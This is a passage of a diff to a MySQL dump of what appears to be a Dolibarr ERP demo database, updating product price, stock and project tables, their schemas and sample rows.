19:12:50',1,10.00000000,12.00000000,8.33333000,10.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(29,1,'2020-01-01 19:54:16',4,'2020-01-01 23:54:16',1,5.00000000,5.00000000,0.00000000,0.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(30,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',1,5.00000000,5.00000000,2.00000000,2.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(31,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',2,6.00000000,6.00000000,3.00000000,3.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(32,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',3,7.00000000,7.00000000,4.00000000,4.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(33,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',4,8.00000000,8.00000000,5.00000000,5.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(34,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',5,9.00000000,9.00000000,6.00000000,6.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(35,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',1,11.00000000,12.37500000,9.00000000,10.12500000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(36,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',2,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(37,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',3,13.00000000,14.62500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(38,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',4,14.00000000,15.75000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(39,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',5,15.00000000,16.87500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(40,1,'2020-01-17 14:22:28',1,'2020-01-17 15:22:28',1,9.00000000,10.12500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(41,1,'2021-04-15 11:38:02',31,'2021-04-15 08:38:02',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL); +INSERT INTO `llx_product_price` VALUES (1,1,'2012-07-08 12:33:17',1,'2012-07-08 14:33:17',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(2,1,'2012-07-08 22:30:01',2,'2012-07-09 00:30:01',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(3,1,'2012-07-08 22:30:25',3,'2012-07-09 00:30:25',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(4,1,'2012-07-10 12:44:06',4,'2012-07-10 14:44:06',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(5,1,'2013-07-20 21:11:38',5,'2013-07-20 23:11:38',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(6,1,'2013-07-27 17:02:59',5,'2013-07-27 19:02:59',1,10.00000000,11.96000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(10,1,'2013-07-31 22:34:27',4,'2013-08-01 00:34:27',1,5.00000000,5.62500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(12,1,'2015-01-13 19:24:59',11,'2015-01-13 20:24:59',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',0.000,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(13,1,'2015-03-12 09:30:24',1,'2015-03-12 10:30:24',1,100.00000000,112.50000000,90.00000000,101.25000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(14,1,'2018-07-30 13:31:29',12,'2018-07-30 17:31:29',1,9.00000000,9.00000000,9.00000000,9.00000000,'HT',0.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(15,1,'2017-02-15 23:49:00',13,'2017-02-16 03:49:00',1,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,NULL,0,0.000,'0',0.000,'0',12,0,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(16,1,'2017-08-30 15:04:04',10,'2017-08-30 19:04:04',1,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(18,1,'2019-11-28 12:33:35',24,'2019-11-28 16:33:35',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(19,1,'2019-11-28 12:34:33',24,'2019-11-28 16:34:33',1,0.83333000,1.00000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(20,1,'2019-11-28 12:37:36',25,'2019-11-28 16:37:36',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(21,1,'2019-11-28 12:37:58',25,'2019-11-28 16:37:58',1,1.25000000,1.50000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(22,1,'2019-11-28 12:38:44',26,'2019-11-28 16:38:44',1,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(23,1,'2019-11-28 12:39:21',27,'2019-11-28 16:39:21',1,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(24,1,'2019-11-28 12:39:58',28,'2019-11-28 16:39:58',1,2.00000000,2.40000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(25,1,'2019-11-28 13:03:14',29,'2019-11-28 17:03:14',1,1.66667000,2.00000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(26,1,'2019-11-28 13:09:14',30,'2019-11-28 17:09:14',1,0.41667000,0.50000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(28,1,'2019-11-28 15:12:50',2,'2019-11-28 19:12:50',1,10.00000000,12.00000000,8.33333000,10.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(29,1,'2020-01-01 19:54:16',4,'2020-01-01 23:54:16',1,5.00000000,5.00000000,0.00000000,0.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(30,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',1,5.00000000,5.00000000,2.00000000,2.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(31,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',2,6.00000000,6.00000000,3.00000000,3.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(32,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',3,7.00000000,7.00000000,4.00000000,4.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(33,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',4,8.00000000,8.00000000,5.00000000,5.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(34,1,'2020-01-02 19:02:35',4,'2020-01-02 23:02:35',5,9.00000000,9.00000000,6.00000000,6.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(35,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',1,11.00000000,12.37500000,9.00000000,10.12500000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(36,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',2,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(37,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',3,13.00000000,14.62500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(38,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',4,14.00000000,15.75000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(39,1,'2020-01-17 13:54:18',1,'2020-01-17 14:54:18',5,15.00000000,16.87500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(40,1,'2020-01-17 14:22:28',1,'2020-01-17 15:22:28',1,9.00000000,10.12500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(41,1,'2021-04-15 11:38:02',31,'2021-04-15 08:38:02',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(42,1,'2022-12-16 10:00:14',5,'2022-12-16 10:00:14',1,10.00000000,10.00000000,0.00000000,0.00000000,'HT',0.000,'CGST+SGST',0,9.000,'1',9.000,'1',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(43,1,'2022-12-30 13:44:06',32,'2022-12-30 10:44:06',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(44,1,'2023-01-03 14:07:52',33,'2023-01-03 11:07:52',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(45,1,'2023-01-03 14:07:52',33,'2023-01-03 11:07:52',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(46,1,'2023-01-03 14:15:51',34,'2023-01-03 11:15:51',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(47,1,'2023-01-03 14:15:51',34,'2023-01-03 11:15:51',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL); /*!40000 ALTER TABLE `llx_product_price` ENABLE KEYS */; UNLOCK TABLES; @@ -11057,12 +10290,12 @@ CREATE TABLE `llx_product_price_by_qty` ( `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `quantity` double DEFAULT NULL, `unitprice` double(24,8) DEFAULT 0.00000000, - `price_base_type` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT 'HT', + `price_base_type` varchar(3) DEFAULT 'HT', `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_price` double(24,8) DEFAULT NULL, `multicurrency_price_ttc` double(24,8) DEFAULT NULL, @@ -11122,7 +10355,7 @@ CREATE TABLE `llx_product_stock` ( `fk_product` int(11) NOT NULL, `fk_entrepot` int(11) NOT NULL, `reel` double DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_stock` (`fk_product`,`fk_entrepot`), KEY `idx_product_stock_fk_product` (`fk_product`), @@ -11140,34 +10373,6 @@ INSERT INTO `llx_product_stock` VALUES (1,'2012-07-08 22:43:51',2,2,1000,NULL),( /*!40000 ALTER TABLE `llx_product_stock` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_product_warehouse_properties` --- - -DROP TABLE IF EXISTS `llx_product_warehouse_properties`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_product_warehouse_properties` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_product` int(11) NOT NULL, - `fk_entrepot` int(11) NOT NULL, - `seuil_stock_alerte` float DEFAULT 0, - `desiredstock` float DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_product_warehouse_properties` --- - -LOCK TABLES `llx_product_warehouse_properties` WRITE; -/*!40000 ALTER TABLE `llx_product_warehouse_properties` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_product_warehouse_properties` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_projet` -- @@ -11182,36 +10387,40 @@ CREATE TABLE `llx_projet` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `dateo` date DEFAULT NULL, `datee` date DEFAULT NULL, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `title` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `title` varchar(255) NOT NULL, + `description` text DEFAULT NULL, `fk_user_creat` int(11) NOT NULL, `public` int(11) DEFAULT NULL, `fk_statut` smallint(6) NOT NULL DEFAULT 0, `fk_opp_status` int(11) DEFAULT NULL, `opp_percent` double(5,2) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `budget_amount` double(24,8) DEFAULT NULL, `date_close` datetime DEFAULT NULL, `fk_user_close` int(11) DEFAULT NULL, `opp_amount` double(24,8) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `usage_bill_time` int(11) DEFAULT 0, `usage_opportunity` int(11) DEFAULT 0, `usage_task` int(11) DEFAULT 1, `usage_organize_event` int(11) DEFAULT 0, - `email_msgid` varchar(175) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email_msgid` varchar(175) DEFAULT NULL, `fk_opp_status_end` int(11) DEFAULT NULL, `accept_conference_suggestions` int(11) DEFAULT 0, `accept_booth_suggestions` int(11) DEFAULT 0, `price_registration` double(24,8) DEFAULT NULL, `price_booth` double(24,8) DEFAULT NULL, `max_attendees` int(11) DEFAULT 0, + `ip` varchar(250) DEFAULT NULL, + `date_start_event` datetime DEFAULT NULL, + `date_end_event` datetime DEFAULT NULL, + `location` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_projet_ref` (`ref`,`entity`), KEY `idx_projet_fk_soc` (`fk_soc`), @@ -11225,7 +10434,7 @@ CREATE TABLE `llx_projet` ( LOCK TABLES `llx_projet` WRITE; /*!40000 ALTER TABLE `llx_projet` DISABLE KEYS */; -INSERT INTO `llx_projet` VALUES (1,11,'2012-07-09 00:00:00','2017-10-05 20:51:28','2012-07-09',NULL,'PROJ1',1,'Project One','',1,0,1,NULL,NULL,NULL,'gdfgdfg','baleine',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,1,0,NULL,NULL,0,0,NULL,NULL,0),(2,13,'2012-07-09 00:00:00','2017-10-05 20:51:51','2012-07-09',NULL,'PROJ2',1,'Project Two','',1,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,1,0,NULL,NULL,0,0,NULL,NULL,0),(3,1,'2012-07-09 00:00:00','2020-01-15 12:40:50','2012-07-09',NULL,'PROJINDIAN',1,'Project for Indian company move','',1,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0),(4,NULL,'2012-07-09 00:00:00','2012-07-08 22:50:49','2012-07-09',NULL,'PROJSHARED',1,'The Global project','',1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,1,0,NULL,NULL,0,0,NULL,NULL,0),(5,NULL,'2012-07-11 00:00:00','2020-01-15 12:27:15','2012-07-11','2013-07-14','RMLL',1,'Project management RMLL','',1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0),(6,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0001',1,'PROJALICE1','The Alice project number 1',12,0,1,2,20.00,NULL,NULL,NULL,NULL,5000.00000000,NULL,NULL,8000.00000000,NULL,12,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(7,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0002',1,'PROJALICE2','The Alice project number 2',12,0,1,6,100.00,NULL,NULL,NULL,NULL,NULL,'2017-02-01 16:24:31',12,7000.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(8,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0003',1,'PROJALICE2','The Alice project number 3',12,0,1,6,100.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,3550.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(9,4,'2018-07-31 00:00:00','2019-12-20 16:33:15','2018-07-31',NULL,'PJ1607-0004',1,'Project Top X','',12,0,2,2,27.00,NULL,NULL,NULL,NULL,NULL,'2019-12-20 20:33:15',12,4000.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(10,1,'2019-12-21 19:46:33','2019-12-21 15:48:06','2019-12-21',NULL,'PJ1912-0005',1,'Contact for a new shop in Delhi','',12,0,1,1,20.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,18000.00000000,NULL,12,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(11,10,'2019-12-21 19:49:28','2019-12-21 16:10:21','2019-12-02','2019-12-13','PJ1912-0006',1,'Request for new development of logo','Request to redesign a new logo',12,0,1,4,60.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6500.00000000,NULL,12,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(12,4,'2019-12-21 19:52:12','2019-12-21 15:52:12','2019-12-21',NULL,'PJ1912-0007',1,'Adding new tool for Customer Relationship Management','',12,1,0,1,0.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,16000.00000000,NULL,NULL,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0),(13,26,'2019-12-21 19:53:21','2019-12-21 15:53:59','2019-12-21',NULL,'PJ1912-0008',1,'Cooking 100 apple pie for chrsitmas','',12,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0); +INSERT INTO `llx_projet` VALUES (1,11,'2012-07-09 00:00:00','2017-10-05 20:51:28','2012-07-09',NULL,'PROJ1',1,'Project One','',1,0,1,NULL,NULL,NULL,'gdfgdfg','baleine',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(2,13,'2012-07-09 00:00:00','2023-02-19 16:00:55','2012-07-09',NULL,'PROJ2',1,'Project Two','',1,0,1,3,40.00,NULL,NULL,NULL,'projet/PROJ2/PROJ2.pdf',NULL,NULL,NULL,1250.25000000,NULL,12,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,''),(3,1,'2012-07-09 00:00:00','2020-01-15 12:40:50','2012-07-09',NULL,'PROJINDIAN',1,'Project for Indian company move','',1,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(4,NULL,'2012-07-09 00:00:00','2012-07-08 22:50:49','2012-07-09',NULL,'PROJSHARED',1,'The Global project','',1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(5,NULL,'2012-07-11 00:00:00','2020-01-15 12:27:15','2012-07-11','2013-07-14','RMLL',1,'Project management RMLL','',1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(6,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0001',1,'PROJALICE1','The Alice project number 1',12,0,1,2,20.00,NULL,NULL,NULL,NULL,5000.00000000,NULL,NULL,8000.00000000,NULL,12,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(7,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0002',1,'PROJALICE2','The Alice project number 2',12,0,1,6,100.00,NULL,NULL,NULL,NULL,NULL,'2017-02-01 16:24:31',12,7000.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(8,10,'2018-07-30 00:00:00','2019-11-28 11:52:54','2018-07-30',NULL,'PJ1607-0003',1,'PROJALICE2','The Alice project number 3',12,0,1,6,100.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,3550.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(9,4,'2018-07-31 00:00:00','2019-12-20 16:33:15','2018-07-31',NULL,'PJ1607-0004',1,'Project Top X','',12,0,2,2,27.00,NULL,NULL,NULL,NULL,NULL,'2019-12-20 20:33:15',12,4000.00000000,NULL,NULL,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(10,1,'2019-12-21 19:46:33','2019-12-21 15:48:06','2019-12-21',NULL,'PJ1912-0005',1,'Contact for a new shop in Delhi','',12,0,1,1,20.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,18000.00000000,NULL,12,0,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(11,10,'2019-12-21 19:49:28','2019-12-21 16:10:21','2019-12-02','2019-12-13','PJ1912-0006',1,'Request for new development of logo','Request to redesign a new logo',12,0,1,4,60.00,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6500.00000000,NULL,12,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(12,4,'2019-12-21 19:52:12','2023-02-19 15:55:22','2019-12-21',NULL,'PJ1912-0007',1,'Adding new tool for Customer Relationship Management','',12,1,1,1,0.00,NULL,NULL,NULL,'projet/PJ1912-0007/PJ1912-0007.pdf',NULL,'2023-02-19 12:38:04',12,16000.00000000,NULL,NULL,1,1,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL),(13,26,'2019-12-21 19:53:21','2019-12-21 15:53:59','2019-12-21',NULL,'PJ1912-0008',1,'Cooking 100 apple pie for chrsitmas','',12,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,1,0,1,0,NULL,NULL,0,0,NULL,NULL,0,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_projet` ENABLE KEYS */; UNLOCK TABLES; @@ -11240,11 +10449,11 @@ CREATE TABLE `llx_projet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `priority` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `priority` mediumtext DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_projet_extrafields` (`fk_object`) -) ENGINE=InnoDB AUTO_INCREMENT=31 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -11253,7 +10462,7 @@ CREATE TABLE `llx_projet_extrafields` ( LOCK TABLES `llx_projet_extrafields` WRITE; /*!40000 ALTER TABLE `llx_projet_extrafields` DISABLE KEYS */; -INSERT INTO `llx_projet_extrafields` VALUES (7,'2018-07-30 15:53:23',8,NULL,'5'),(9,'2018-07-31 14:27:24',9,NULL,'0'),(15,'2017-02-01 12:24:31',7,NULL,'1'),(17,'2019-10-01 11:48:36',6,NULL,'3'),(22,'2019-12-21 15:48:06',10,NULL,'0'),(24,'2019-12-21 15:52:12',12,NULL,'4'),(26,'2019-12-21 15:53:42',13,NULL,'0'),(28,'2019-12-21 16:10:21',11,NULL,'0'),(29,'2020-01-15 12:27:15',5,NULL,'0'),(30,'2020-01-15 